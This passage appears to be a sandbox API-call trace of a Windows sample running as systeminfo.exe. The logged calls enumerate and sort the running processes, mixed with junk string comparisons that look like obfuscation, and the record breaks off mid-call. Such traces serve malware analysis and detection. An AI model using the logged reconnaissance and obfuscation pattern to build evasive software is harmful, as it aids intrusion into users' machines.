GetCurrentProcess () returned 0xffffffff [0071.008] GetLastError () returned 0x0 [0071.008] wsprintfA (in: param_1=0x2f1f81b, param_2="%X%P" | out: param_1="6EFFFFP") returned 7 [0071.008] SetLastError (dwErrCode=0x0) [0071.008] GetCurrentProcessId () returned 0x81c [0071.008] GetCurrentProcessId () returned 0x81c [0071.008] GetLastError () returned 0x0 [0071.008] wsprintfA (in: param_1=0x2f1f80b, param_2="%X%P" | out: param_1="6F0000P") returned 7 [0071.008] SetLastError (dwErrCode=0x0) [0071.008] GetCurrentProcessId () returned 0x81c [0071.008] lstrcpyW (in: lpString1=0x402f6c, lpString2="cookie_cumulative_bennett_horse.exe" | out: lpString1="cookie_cumulative_bennett_horse.exe") returned="cookie_cumulative_bennett_horse.exe" [0071.008] GetCurrentProcessId () returned 0x81c [0071.008] GetCurrentProcessId () returned 0x81c [0071.008] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="pie.exe")) returned 1 [0071.009] GetCurrentProcessId () returned 0x81c [0071.009] lstrlenA (lpString="just string") returned 11 [0071.009] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.009] GetCurrentProcessId () returned 0x81c [0071.009] GetLastError () returned 0x0 [0071.009] lstrcpyW (in: lpString1=0x403194, lpString2="pie.exe" | out: lpString1="pie.exe") returned="pie.exe" [0071.009] GetCurrentProcess () returned 0xffffffff [0071.009] GetLastError () returned 0x0 [0071.009] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6F001DP") returned 7 [0071.009] SetLastError (dwErrCode=0x0) [0071.009] GetCurrentProcessId () returned 0x81c [0071.009] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="located-purple-team.exe")) returned 1 [0071.010] GetLastError () returned 0x0 [0071.010] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6F001EP") returned 7 [0071.010] SetLastError (dwErrCode=0x0) [0071.010] GetCurrentProcessId () returned 0x81c [0071.010] GetCurrentProcessId () returned 0x81c [0071.010] GetCurrentProcessId () returned 0x81c [0071.010] GetCurrentProcessId () returned 0x81c [0071.010] lstrcpyW (in: lpString1=0x33fa43c, lpString2="located-purple-team.exe" | out: lpString1="located-purple-team.exe") returned="located-purple-team.exe" [0071.010] GetCurrentProcessId () returned 0x81c [0071.010] lstrlenA (lpString="just string") returned 11 [0071.010] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.010] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="pagespresent.exe")) returned 1 [0071.010] GetLastError () returned 0x0 [0071.010] GetCurrentProcessId () returned 0x81c [0071.010] lstrlenA (lpString="just string") returned 11 [0071.010] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.010] lstrcpyW (in: lpString1=0x33fa664, lpString2="pagespresent.exe" | out: lpString1="pagespresent.exe") returned="pagespresent.exe" [0071.010] GetLastError () returned 0x0 [0071.010] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="diamond_hospitals_designs_www.exe")) returned 1 [0071.011] GetLastError () returned 0x0 [0071.011] lstrcmpA (lpString1="G", lpString2="luck") returned -1 [0071.011] SetLastError (dwErrCode=0x0) [0071.011] GetCurrentProcess () returned 0xffffffff [0071.011] GetLastError () returned 0x0 [0071.011] wsprintfA (in: param_1=0x2f1f81b, param_2="%X%P" | out: param_1="6F003AP") returned 7 [0071.011] SetLastError (dwErrCode=0x0) [0071.011] GetCurrentProcessId () returned 0x81c [0071.011] GetCurrentProcessId () returned 0x81c [0071.011] GetCurrentProcess () returned 0xffffffff [0071.011] GetLastError () returned 0x0 [0071.011] wsprintfA (in: param_1=0x2f1f80b, param_2="%X%P" | out: param_1="6F003BP") returned 7 [0071.011] SetLastError (dwErrCode=0x0) [0071.011] GetCurrentProcessId () returned 0x81c [0071.011] lstrcpyW (in: lpString1=0x33fa88c, lpString2="diamond_hospitals_designs_www.exe" | out: lpString1="diamond_hospitals_designs_www.exe") returned="diamond_hospitals_designs_www.exe" [0071.011] GetLastError () returned 0x0 [0071.011] wsprintfA (in: param_1=0x2f1f80f, param_2="%X%P" | out: param_1="6F003CP") returned 7 [0071.011] SetLastError (dwErrCode=0x0) [0071.011] GetCurrentProcessId () returned 0x81c [0071.011] GetCurrentProcessId () returned 0x81c [0071.011] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="later_pet_handjobs.exe")) returned 1 [0071.012] GetCurrentProcessId () returned 0x81c [0071.012] GetCurrentProcessId () returned 0x81c [0071.012] GetCurrentProcessId () returned 0x81c [0071.012] lstrlenA (lpString="just string") returned 11 [0071.012] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.012] lstrcpyW (in: lpString1=0x33faab4, lpString2="later_pet_handjobs.exe" | out: lpString1="later_pet_handjobs.exe") returned="later_pet_handjobs.exe" [0071.012] GetLastError () returned 0x0 [0071.012] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="instrumentationendorsementcivilizationcommentary.exe")) returned 1 [0071.013] GetCurrentProcessId () returned 0x81c [0071.013] GetCurrentProcessId () returned 0x81c [0071.013] GetCurrentProcessId () returned 0x81c [0071.013] lstrlenA (lpString="just string") returned 11 [0071.013] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.013] lstrcpyW (in: lpString1=0x33facdc, lpString2="instrumentationendorsementcivilizationcommentary.exe" | out: lpString1="instrumentationendorsementcivilizationcommentary.exe") returned="instrumentationendorsementcivilizationcommentary.exe" [0071.013] GetLastError () returned 0x0 [0071.013] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0071.013] GetLastError () returned 0x0 [0071.013] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.013] SetLastError (dwErrCode=0x0) [0071.013] GetCurrentProcess () returned 0xffffffff [0071.013] GetLastError () returned 0x0 [0071.013] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6F0076P") returned 7 [0071.013] SetLastError (dwErrCode=0x0) [0071.013] GetCurrentProcessId () returned 0x81c [0071.013] GetCurrentProcess () returned 0xffffffff [0071.013] GetLastError () returned 0x0 [0071.013] wsprintfA (in: param_1=0x2f1f81b, param_2="%X%P" | out: param_1="6F0077P") returned 7 [0071.013] SetLastError (dwErrCode=0x0) [0071.014] GetCurrentProcessId () returned 0x81c [0071.014] GetCurrentProcessId () returned 0x81c [0071.014] GetLastError () returned 0x0 [0071.014] wsprintfA (in: param_1=0x2f1f80b, param_2="%X%P" | out: param_1="6F0078P") returned 7 [0071.014] SetLastError (dwErrCode=0x0) [0071.014] GetCurrentProcessId () returned 0x81c [0071.014] lstrcpyW (in: lpString1=0x33faf04, lpString2="literally.exe" | out: lpString1="literally.exe") returned="literally.exe" [0071.014] GetCurrentProcessId () returned 0x81c [0071.014] GetCurrentProcessId () returned 0x81c [0071.014] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="dimensionalsubscriptions.exe")) returned 1 [0071.014] GetCurrentProcessId () returned 0x81c [0071.014] lstrlenA (lpString="just string") returned 11 [0071.014] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.014] GetCurrentProcessId () returned 0x81c [0071.014] GetLastError () returned 0x0 [0071.014] lstrcpyW (in: lpString1=0x33fb12c, lpString2="dimensionalsubscriptions.exe" | out: lpString1="dimensionalsubscriptions.exe") returned="dimensionalsubscriptions.exe" [0071.014] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaglesfilterscrimes.exe")) returned 1 [0071.015] GetLastError () returned 0x0 [0071.015] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.015] SetLastError (dwErrCode=0x0) [0071.015] GetCurrentProcess () returned 0xffffffff [0071.015] GetLastError () returned 0x0 [0071.015] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6F00B2P") returned 7 [0071.015] SetLastError (dwErrCode=0x0) [0071.015] GetCurrentProcessId () returned 0x81c [0071.015] GetCurrentProcess () returned 0xffffffff [0071.015] GetLastError () returned 0x0 [0071.015] wsprintfA (in: param_1=0x2f1f81b, param_2="%X%P" | out: param_1="6F00B3P") returned 7 [0071.015] SetLastError (dwErrCode=0x0) [0071.015] GetCurrentProcessId () returned 0x81c [0071.015] GetCurrentProcessId () returned 0x81c [0071.015] GetLastError () returned 0x0 [0071.015] wsprintfA (in: param_1=0x2f1f80b, param_2="%X%P" | out: param_1="6F00B4P") returned 7 [0071.015] SetLastError (dwErrCode=0x0) [0071.015] GetCurrentProcessId () returned 0x81c [0071.015] lstrcpyW (in: lpString1=0x33fb354, lpString2="eaglesfilterscrimes.exe" | out: lpString1="eaglesfilterscrimes.exe") returned="eaglesfilterscrimes.exe" [0071.015] GetCurrentProcessId () returned 0x81c [0071.015] GetCurrentProcessId () returned 0x81c [0071.015] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="multimedia-channel-letter-standards.exe")) returned 1 [0071.016] GetCurrentProcessId () returned 0x81c [0071.016] lstrlenA (lpString="just string") returned 11 [0071.016] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.016] GetCurrentProcessId () returned 0x81c [0071.016] GetLastError () returned 0x0 [0071.016] lstrcpyW (in: lpString1=0x33fb57c, lpString2="multimedia-channel-letter-standards.exe" | out: lpString1="multimedia-channel-letter-standards.exe") returned="multimedia-channel-letter-standards.exe" [0071.016] GetCurrentProcessId () returned 0x81c [0071.016] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysts-dose.exe")) returned 1 [0071.017] lstrlenA (lpString="just string") returned 11 [0071.017] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.017] GetLastError () returned 0x0 [0071.017] GetCurrentProcessId () returned 0x81c [0071.017] lstrcpyW (in: lpString1=0x33fb7a4, lpString2="analysts-dose.exe" | out: lpString1="analysts-dose.exe") returned="analysts-dose.exe" [0071.017] GetLastError () returned 0x0 [0071.017] wsprintfA (in: param_1=0x2f1f80f, param_2="%X%P" | out: param_1="6F00F0P") returned 7 [0071.017] SetLastError (dwErrCode=0x0) [0071.017] GetCurrentProcessId () returned 0x81c [0071.017] GetCurrentProcessId () returned 0x81c [0071.017] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="manufacturer-asset.exe")) returned 1 [0071.017] GetCurrentProcessId () returned 0x81c [0071.017] GetCurrentProcessId () returned 0x81c [0071.017] GetCurrentProcessId () returned 0x81c [0071.017] lstrlenA (lpString="just string") returned 11 [0071.017] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.017] lstrcpyW (in: lpString1=0x33fb9cc, lpString2="manufacturer-asset.exe" | out: lpString1="manufacturer-asset.exe") returned="manufacturer-asset.exe" [0071.017] GetLastError () returned 0x0 [0071.017] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0071.018] GetCurrentProcessId () returned 0x81c [0071.018] GetCurrentProcessId () returned 0x81c [0071.018] GetCurrentProcessId () returned 0x81c [0071.018] GetCurrentProcessId () returned 0x81c [0071.018] lstrcpyW (in: lpString1=0x33fbbf4, lpString2="WINWORD.EXE" | out: lpString1="WINWORD.EXE") returned="WINWORD.EXE" [0071.018] lstrlenA (lpString="just string") returned 11 [0071.018] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.018] GetLastError () returned 0x0 [0071.018] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.019] GetCurrentProcessId () returned 0x81c [0071.019] GetCurrentProcessId () returned 0x81c [0071.019] lstrlenA (lpString="just string") returned 11 [0071.019] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.019] GetLastError () returned 0x0 [0071.019] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0071.019] GetLastError () returned 0x0 [0071.019] lstrcmpA (lpString1="G", lpString2="luck") returned -1 [0071.019] SetLastError (dwErrCode=0x0) [0071.019] GetCurrentProcess () returned 0xffffffff [0071.019] GetLastError () returned 0x0 [0071.019] wsprintfA (in: param_1=0x2f1f81b, param_2="%X%P" | out: param_1="6F0134P") returned 7 [0071.019] SetLastError (dwErrCode=0x0) [0071.019] GetCurrentProcessId () returned 0x81c [0071.019] GetCurrentProcessId () returned 0x81c [0071.019] GetCurrentProcess () returned 0xffffffff [0071.020] GetLastError () returned 0x0 [0071.020] wsprintfA (in: param_1=0x2f1f80b, param_2="%X%P" | out: param_1="6F0135P") returned 7 [0071.020] SetLastError (dwErrCode=0x0) [0071.020] GetCurrentProcessId () returned 0x81c [0071.020] lstrcpyW (in: lpString1=0x33fbe1c, lpString2="OSPPSVC.EXE" | out: lpString1="OSPPSVC.EXE") returned="OSPPSVC.EXE" [0071.020] GetLastError () returned 0x0 [0071.020] wsprintfA (in: param_1=0x2f1f80f, param_2="%X%P" | out: param_1="6F0136P") returned 7 [0071.020] SetLastError (dwErrCode=0x0) [0071.020] GetCurrentProcessId () returned 0x81c [0071.020] GetCurrentProcessId () returned 0x81c [0071.020] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xbfc, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 1 [0071.021] GetCurrentProcessId () returned 0x81c [0071.021] GetCurrentProcessId () returned 0x81c [0071.021] GetCurrentProcessId () returned 0x81c [0071.021] lstrlenA (lpString="just string") returned 11 [0071.021] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.021] lstrcpyW (in: lpString1=0x33fc044, lpString2="systeminfo.exe" | out: lpString1="systeminfo.exe") returned="systeminfo.exe" [0071.021] GetLastError () returned 0x0 [0071.021] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0071.021] GetCurrentProcess () returned 0xffffffff [0071.021] GetLastError () returned 0x0 [0071.021] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6F0153P") returned 7 [0071.021] SetLastError (dwErrCode=0x0) [0071.021] GetCurrentProcessId () returned 0x81c [0071.021] GetLastError () returned 0x0 [0071.021] wsprintfA (in: param_1=0x2f1f81b, param_2="%X%P" | out: param_1="6F0154P") returned 7 [0071.021] SetLastError (dwErrCode=0x0) [0071.021] GetCurrentProcessId () returned 0x81c [0071.022] GetCurrentProcessId () returned 0x81c [0071.022] GetCurrentProcessId () returned 0x81c [0071.022] lstrcpyW (in: lpString1=0x33fc26c, lpString2="sppsvc.exe" | out: lpString1="sppsvc.exe") returned="sppsvc.exe" [0071.022] GetCurrentProcessId () returned 0x81c [0071.022] GetCurrentProcessId () returned 0x81c [0071.022] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.022] lstrlenA (lpString="just string") returned 11 [0071.022] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.022] GetLastError () returned 0x0 [0071.022] GetCurrentProcessId () returned 0x81c [0071.022] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x81c, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 1 [0071.023] GetLastError () returned 0x0 [0071.023] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.023] SetLastError (dwErrCode=0x0) [0071.023] GetCurrentProcess () returned 0xffffffff [0071.023] GetLastError () returned 0x0 [0071.023] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6F0184P") returned 7 [0071.023] SetLastError (dwErrCode=0x0) [0071.023] GetCurrentProcessId () returned 0x81c [0071.023] GetCurrentProcess () returned 0xffffffff [0071.023] GetLastError () returned 0x0 [0071.023] wsprintfA (in: param_1=0x2f1f81b, param_2="%X%P" | out: param_1="6F0185P") returned 7 [0071.023] SetLastError (dwErrCode=0x0) [0071.023] GetCurrentProcessId () returned 0x81c [0071.023] GetCurrentProcessId () returned 0x81c [0071.023] GetLastError () returned 0x0 [0071.023] wsprintfA (in: param_1=0x2f1f80f, param_2="%X%P" | out: param_1="6F0186P") returned 7 [0071.023] SetLastError (dwErrCode=0x0) [0071.023] GetCurrentProcessId () returned 0x81c [0071.023] GetCurrentProcessId () returned 0x81c [0071.023] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x81c, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 0 [0071.024] CloseHandle (hObject=0x3f4) returned 1 [0071.024] GetCurrentProcessId () returned 0x81c [0071.024] lstrlenW (lpString="sppsvc.exe") returned 10 [0071.024] lstrlenW (lpString="systeminfo.exe") returned 14 [0071.024] lstrlenW (lpString="OSPPSVC.EXE") returned 11 [0071.024] lstrlenW (lpString="WINWORD.EXE") returned 11 [0071.024] lstrlenW (lpString="manufacturer-asset.exe") returned 22 [0071.024] lstrlenW (lpString="analysts-dose.exe") returned 17 [0071.024] lstrlenW (lpString="multimedia-channel-letter-standards.exe") returned 39 [0071.024] lstrlenW (lpString="eaglesfilterscrimes.exe") returned 23 [0071.024] lstrlenW (lpString="dimensionalsubscriptions.exe") returned 28 [0071.024] lstrlenW (lpString="literally.exe") returned 13 [0071.024] lstrlenW (lpString="instrumentationendorsementcivilizationcommentary.exe") returned 52 [0071.024] lstrlenW (lpString="later_pet_handjobs.exe") returned 22 [0071.024] lstrlenW (lpString="diamond_hospitals_designs_www.exe") returned 33 [0071.024] lstrlenW (lpString="pagespresent.exe") returned 16 [0071.024] lstrlenW (lpString="located-purple-team.exe") returned 23 [0071.024] lstrlenW (lpString="pie.exe") returned 7 [0071.024] lstrlenW (lpString="cookie_cumulative_bennett_horse.exe") returned 35 [0071.024] lstrlenW (lpString="canvas.exe") returned 10 [0071.024] lstrlenW (lpString="cliff-filter.exe") returned 16 [0071.024] lstrlenW (lpString="routing.exe") returned 11 [0071.024] lstrlenW (lpString="ausarrivedrepresentative.exe") returned 28 [0071.024] lstrlenW (lpString="characters appointed birthday finally.exe") returned 41 [0071.024] lstrlenW (lpString="thumbnailsopen.exe") returned 18 [0071.024] lstrlenW (lpString="ones_pork_tommy_lb.exe") returned 22 [0071.024] lstrlenW (lpString="farehave.exe") returned 12 [0071.024] lstrlenW (lpString="los-talks-ooo-focusing.exe") returned 26 [0071.024] lstrlenW (lpString="efforts-extreme-quantity-reproductive.exe") returned 41 [0071.024] lstrlenW (lpString="turner_construction_solve_cialis.exe") returned 36 [0071.024] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0071.024] lstrlenW (lpString="ONENOTEM.EXE") returned 12 [0071.024] lstrlenW (lpString="taskeng.exe") returned 11 [0071.024] lstrlenW (lpString="explorer.exe") returned 12 [0071.024] lstrlenW (lpString="dwm.exe") returned 7 [0071.024] lstrlenW (lpString="taskhost.exe") returned 12 [0071.024] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0071.024] lstrlenW (lpString="spoolsv.exe") returned 11 [0071.024] lstrlenW (lpString="audiodg.exe") returned 11 [0071.024] lstrlenW (lpString="svchost.exe") returned 11 [0071.024] lstrlenW (lpString="lsm.exe") returned 7 [0071.024] lstrlenW (lpString="lsass.exe") returned 9 [0071.024] lstrlenW (lpString="services.exe") returned 12 [0071.024] lstrlenW (lpString="winlogon.exe") returned 12 [0071.024] lstrlenW (lpString="wininit.exe") returned 11 [0071.024] lstrlenW (lpString="csrss.exe") returned 9 [0071.024] lstrlenW (lpString="smss.exe") returned 8 [0071.025] lstrlenW (lpString="System") returned 6 [0071.025] lstrlenW (lpString="[System Process]") returned 16 [0071.025] lstrcmpiW (lpString1="sppsvc.exe", lpString2="systeminfo.exe") returned -1 [0071.025] lstrcpyW (in: lpString1=0x405f90, lpString2="sppsvc.exe" | out: lpString1="sppsvc.exe") returned="sppsvc.exe" [0071.025] lstrlenW (lpString="sppsvc.exe") returned 10 [0071.025] lstrcmpiW (lpString1="systeminfo.exe", lpString2="systeminfo.exe") returned 0 [0071.025] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="systeminfo.exe") returned -1 [0071.025] lstrcpyW (in: lpString1=0x405fa6, lpString2="OSPPSVC.EXE" | out: lpString1="OSPPSVC.EXE") returned="OSPPSVC.EXE" [0071.025] lstrlenW (lpString="OSPPSVC.EXE") returned 11 [0071.025] lstrcmpiW (lpString1="WINWORD.EXE", lpString2="systeminfo.exe") returned 1 [0071.025] lstrcpyW (in: lpString1=0x405fbe, lpString2="WINWORD.EXE" | out: lpString1="WINWORD.EXE") returned="WINWORD.EXE" [0071.025] lstrlenW (lpString="WINWORD.EXE") returned 11 [0071.025] lstrcmpiW (lpString1="manufacturer-asset.exe", lpString2="systeminfo.exe") returned -1 [0071.025] lstrcpyW (in: lpString1=0x405fd6, lpString2="manufacturer-asset.exe" | out: lpString1="manufacturer-asset.exe") returned="manufacturer-asset.exe" [0071.025] lstrlenW (lpString="manufacturer-asset.exe") returned 22 [0071.025] lstrcmpiW (lpString1="analysts-dose.exe", lpString2="systeminfo.exe") returned -1 [0071.025] lstrcpyW (in: lpString1=0x406004, lpString2="analysts-dose.exe" | out: lpString1="analysts-dose.exe") returned="analysts-dose.exe" [0071.025] lstrlenW (lpString="analysts-dose.exe") returned 17 [0071.025] lstrcmpiW (lpString1="multimedia-channel-letter-standards.exe", lpString2="systeminfo.exe") returned -1 [0071.025] lstrcpyW (in: lpString1=0x406028, lpString2="multimedia-channel-letter-standards.exe" | out: lpString1="multimedia-channel-letter-standards.exe") returned="multimedia-channel-letter-standards.exe" [0071.025] lstrlenW (lpString="multimedia-channel-letter-standards.exe") returned 39 [0071.025] lstrcmpiW (lpString1="eaglesfilterscrimes.exe", lpString2="systeminfo.exe") returned -1 [0071.025] lstrcpyW (in: lpString1=0x406078, lpString2="eaglesfilterscrimes.exe" | out: lpString1="eaglesfilterscrimes.exe") returned="eaglesfilterscrimes.exe" [0071.025] lstrlenW (lpString="eaglesfilterscrimes.exe") returned 23 [0071.025] lstrcmpiW (lpString1="dimensionalsubscriptions.exe", lpString2="systeminfo.exe") returned -1 [0071.025] lstrcpyW (in: lpString1=0x4060a8, lpString2="dimensionalsubscriptions.exe" | out: lpString1="dimensionalsubscriptions.exe") returned="dimensionalsubscriptions.exe" [0071.025] lstrlenW (lpString="dimensionalsubscriptions.exe") returned 28 [0071.025] lstrcmpiW (lpString1="literally.exe", lpString2="systeminfo.exe") returned -1 [0071.025] lstrcpyW (in: lpString1=0x4060e2, lpString2="literally.exe" | out: lpString1="literally.exe") returned="literally.exe" [0071.025] lstrlenW (lpString="literally.exe") returned 13 [0071.025] lstrcmpiW (lpString1="instrumentationendorsementcivilizationcommentary.exe", lpString2="systeminfo.exe") returned -1 [0071.025] lstrcpyW (in: lpString1=0x4060fe, lpString2="instrumentationendorsementcivilizationcommentary.exe" | out: lpString1="instrumentationendorsementcivilizationcommentary.exe") returned="instrumentationendorsementcivilizationcommentary.exe" [0071.025] lstrlenW (lpString="instrumentationendorsementcivilizationcommentary.exe") returned 52 [0071.025] lstrcmpiW (lpString1="later_pet_handjobs.exe", lpString2="systeminfo.exe") returned -1 [0071.025] lstrcpyW (in: lpString1=0x406168, lpString2="later_pet_handjobs.exe" | out: lpString1="later_pet_handjobs.exe") returned="later_pet_handjobs.exe" [0071.025] lstrlenW (lpString="later_pet_handjobs.exe") returned 22 [0071.025] lstrcmpiW (lpString1="diamond_hospitals_designs_www.exe", lpString2="systeminfo.exe") returned -1 [0071.025] lstrcpyW (in: lpString1=0x406196, lpString2="diamond_hospitals_designs_www.exe" | out: lpString1="diamond_hospitals_designs_www.exe") returned="diamond_hospitals_designs_www.exe" [0071.025] lstrlenW (lpString="diamond_hospitals_designs_www.exe") returned 33 [0071.025] lstrcmpiW (lpString1="pagespresent.exe", lpString2="systeminfo.exe") returned -1 [0071.025] lstrcpyW (in: lpString1=0x4061da, lpString2="pagespresent.exe" | out: lpString1="pagespresent.exe") returned="pagespresent.exe" [0071.025] lstrlenW (lpString="pagespresent.exe") returned 16 [0071.025] lstrcmpiW (lpString1="located-purple-team.exe", lpString2="systeminfo.exe") returned -1 [0071.025] lstrcpyW (in: lpString1=0x4061fc, lpString2="located-purple-team.exe" | out: lpString1="located-purple-team.exe") returned="located-purple-team.exe" [0071.025] lstrlenW (lpString="located-purple-team.exe") returned 23 [0071.025] lstrcmpiW (lpString1="pie.exe", lpString2="systeminfo.exe") returned -1 [0071.025] lstrcpyW (in: lpString1=0x40622c, lpString2="pie.exe" | out: lpString1="pie.exe") returned="pie.exe" [0071.025] lstrlenW (lpString="pie.exe") returned 7 [0071.025] lstrcmpiW (lpString1="cookie_cumulative_bennett_horse.exe", lpString2="systeminfo.exe") returned -1 [0071.025] lstrcpyW (in: lpString1=0x40623c, 